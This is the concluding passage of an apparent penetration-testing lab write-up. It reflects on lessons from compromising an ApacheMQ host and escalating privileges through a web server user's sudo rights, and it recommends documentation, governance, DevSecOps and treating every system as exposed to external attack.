At the structural level, many of these issues can be solved (or at least managed) through good documentation and IT governance processes, whereas points like number 4 which tend to arise as a result of departmental (or team) siloing can be countered through targeted steps such as appointing collaborative security champions, or by adopting more holistic approaches like DevSecOps. It’s tempting to say that “ApacheMQ Shouldn’t be exposed to external users anyway” - and in many cases that’s probably true - however, in a real scenario it’s entirley possible that I’d be attacking this box not from “cold” but rather having already gained a foothold into an enterprise network. Truly, it’s dangerous to think of systems as “internal” or “external” in the first place - rather, to the greatest possible extent, all systems should be secured as if they were subject to external attack - because they might be.

In terms of privilege escalation, this was an excellent lesson in the risks associated with sudo privileges and web servers - once upon a time, not that long ago, one of the common calls from security professionals was “stop running your server as root” and this is why.. Unfortunately, running the server as a different user and someone sudo privileges isn’t much better! Keep in mind that this isn’t specifically an Nginx issue either - we could have performed the same attack using something like Apache.

That’s all for this one, see you in the next!